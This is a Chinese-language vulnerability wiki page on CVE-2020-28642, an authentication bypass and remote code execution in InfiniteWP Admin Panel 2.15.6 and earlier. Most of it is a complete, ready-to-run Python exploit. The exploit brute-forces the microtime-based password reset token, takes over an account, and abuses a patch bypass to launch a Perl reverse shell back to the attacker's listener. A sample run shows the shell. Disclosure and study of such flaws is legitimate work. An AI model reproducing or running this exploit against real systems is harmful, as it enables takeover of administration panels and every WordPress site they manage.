menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right Infinite WP管理面板中的身份验证绕过和RCE(CVE-2020-28642).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Infinite WP管理面板中的身份验证绕过和RCE(CVE-2020-28642).md
    12.61 KB / 2021-05-21 09:14:38
        # Infinite WP管理面板中的身份验证绕过和RCE(CVE-2020-28642)
    
    InfiniteWP是一个Web应用程序,允许您从一个仪表板管理多个WordPress站点。Infinite WP管理面板2.15.6及之前版本中存在身份验证绕过和RCE,可以使未经身份验证的用户能够通过身份验证,只需要知道系统中一个用户的电子邮件地址即可,就可以通过密码重置机制进行恶意利用。
    
    **受影响版本:**
    
    2.15.6及之前版本
    
    ![](media/16096794956773/16096795066029.jpg)
    
    
    **Exploit.py:**
    
    ```python
    #!/usr/bin/env python3
    # coding: utf8
    #
    # exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
    #
    # tested on:
    # - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
    #
    # the bug chain is made of two bugs:
    # 1. weak password reset token leads to privilege escalation
    # 2. rce patch from 2016 can be bypassed with same payload but lowercase
    #
    # example run:
    # $ ./iwp_rce.py -e '[email protected]' -rh http://192.168.11.129/iwp -lh 192.168.11.1
    # 2020-08-13 14:45:29,496 - INFO - initiating password reset...
    # 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
    # 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
    # 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
    # 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
    # 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
    # 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
    # 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
    # 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
    # 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using [email protected]:msCodWbsdxGGETswnmWJyANE/x2j6d9G
    # 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
    # 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
    # /bin/sh: 0: can't access tty; job control turned off
    # $ id
    # uid=1(daemon) gid=1(daemon) groups=1(daemon)
    # $ uname -a
    # Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
    # $ exit
    # *** Connection closed by remote host ***
    # 
    # polict, 13/08/2020
    
    import sys, time
    import requests 
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    from concurrent.futures import as_completed
    from requests_futures.sessions import FuturesSession
    import logging
    import logging.handlers
    import datetime
    from argparse import ArgumentParser
    from hashlib import sha1
    import socket
    import telnetlib
    from threading import Thread
    
    ### default settings
    DEFAULT_LPORT = 9111
    DEFAULT_MICROS = 1000000
    DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"
    PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
    
    ### argument parsing
    parser = ArgumentParser()
    parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
                help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")
    parser.add_argument("-e", "--email", dest="email",
                help="target email", required=True)
    parser.add_argument("-u", '--user-id', dest="uid",
                help="user_id (in the default installation it is 1, if not set will try 1..5)")
    parser.add_argument("-lh", '--lhost', dest="lhost",
                help="local ip to use for remote shell connect-back",
                required=True)
    parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
                help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
    parser.add_argument("-m", "--micros", dest="micros_elapsed",
                help="number of microseconds to test (if not set 1000000 (1 second))",
                default=DEFAULT_MICROS)
    parser.add_argument("-lp", '--lport', dest="lport",
                help="local port to use for remote shell connect-back",
                default=DEFAULT_LPORT)
    parser.add_argument("-p", '--new-password', dest="new_password",
                help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
                default=DEFAULT_NEW_PASSWORD)
    parser.add_argument("-d", "--debug", dest="debug_mode",
                action="store_true",
                help="enable debug mode")
    args = parser.parse_args()
    
    log = logging.getLogger(__name__)
    if args.debug_mode:
        log.setLevel(logging.DEBUG)
    else:
        log.setLevel(logging.INFO)
    
    handler = logging.StreamHandler(sys.stdout)
    handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
    log.addHandler(handler)
    
    ### actual exploit logic
    def init_pw_reset():
        global args
        start_clock = time.perf_counter()
        start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
        log.debug("init pw reset start ts: {}".format(start_ts))
        response = requests.post("{}/login.php".format(args.rhost), verify=False,
        data={
            "email": args.email, 
            "action": "resetPasswordSendMail", 
            "loginSubmit": "Send Reset Link"
        }, allow_redirects=False)
        log.debug("init pw reset returned these headers: {}".format(response.headers))
        """
        now we could use our registered timings to restrict the bruteforce values to the minimum range
        instead of using the whole "last second" microseconds range, however we can't be 100% sure
        the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now
    
        # calculate actual ntp-time range
        end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
        delta_clock = end_clock - start_clock
        end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
        log.debug("end: {}".format(end_ts))
        print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
        
        # this takes for garanteed that the response arrives before 1 minute is elapsed
        micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
        log.debug("micros elapsed: {}".format(micros_elapsed))
        """
    
        if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
            log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")
            sys.exit(1)
    
        # both redirects are ok because the reset hash is written in the db before sending the mail
        if response.status_code == 302 \
            and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
                or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
            
            # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
            server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
            server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
            log.debug("server time: {}".format(server_dt))
            """
            this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier
    
            if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
                log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
            """
            args.start_ts = int(server_dt.timestamp())
            # args.micros_elapsed = 1000000
    
            return 
        else:
            log.error("pw reset init failed, check with debug enabled (-d)")
            sys.exit(1)
    
    def generate_reset_hash(timestamp, uid):
        global args
        """
            $hashValue = serialize(array('hashCode' => 'resetPassword', 
            'uniqueTime' => microtime(true), 
            'userPin' => $userDets['userID']));
    
            ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}
    
            $resetHash = sha1($hashValue);
        """
        template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                           # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
        serialized_resethash = template_ts_uid %(timestamp, uid)
        hash_obj = sha1(serialized_resethash.encode())
        reset_hash = hash_obj.hexdigest()
        log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
        return reset_hash
    
    def brute_pw_reset():
        global args, start_time
        if args.uid is None:
            # in the default installation the uid is 1, but let's try also some others in case they have installed 
            # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/
            uids = [1,2,3,4,5]
        else:
            uids = [args.uid]
        log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
        sha1_email = sha1(args.email.encode()).hexdigest()
        with FuturesSession() as session: # max_workers=4
            for uid in uids:
                log.info("starting with uid {}...".format(uid))
                microsecond = 0
                hashes_tested = 0
                while microsecond < args.micros_elapsed:
                    futures = []
                    # try 100k per time to avoid ram cluttering
                    for _ in range(100000):
                        # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                        # unix_ts = int(test_ts.timestamp())
                        ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                        reset_hash = generate_reset_hash(ms_string, uid)
                        futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                            "action":"resetPasswordChange", \
                            "resetHash": reset_hash, \
                            "newPassword": args.new_password \
                        }, allow_redirects=False))
                        microsecond += 1
                    for future in as_completed(futures):
                        if hashes_tested % 50000 == 0 and hashes_tested > 0:
                            log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                        hashes_tested += 1
                        response = future.result()
                        log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                        if "successMsg" in response.headers["location"] :
                            log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password))
                            log.info("removing from the queue all the remaining hashes...")
                            for future in futures:
                                future.cancel()
                            return
                log.info("target user doesn't have uid {}...".format(uid))
    
        log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))
        sys.exit(1)
    
    def handler():
        global args
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", args.lport))
        s.listen(1)
        conn, addr = s.accept()
        log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
        t.sock = conn
        t.interact()
    
    def login_and_rce():
        global args
        handlerthr = Thread(target=handler)
        handlerthr.start()
    
        # login and record cookies
        s = requests.Session()
        log.debug("logging in...")
        login = s.post("{}/login.php".format(args.rhost), data={"email": args.email,
        "password": args.new_password,
        "loginSubmit": "Log in"})
        log.debug("login ret {} headers {}".format(login.status_code, login.headers))
    
        # rce
        rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
        # notice the lowercase f 
        # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html)
        "requiredData[addfunctions]" : "system", 
        "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
        })
        log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))
    
    if __name__ == '__main__':
        if args.start_ts is None:
            log.info("initiating password reset...")
            init_pw_reset()
        log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
        brute_pw_reset()
        log.info("spawning a remote shell...")
        login_and_rce()
    ```
    
    ref:
    
    * https://forum.ywhack.com/thread-114867-1-1.html
    * https://ssd-disclosure.com/ssd-advisory-auth-bypass-and-rce-in-infinite-wp-admin-panel/
    
    links
    file_download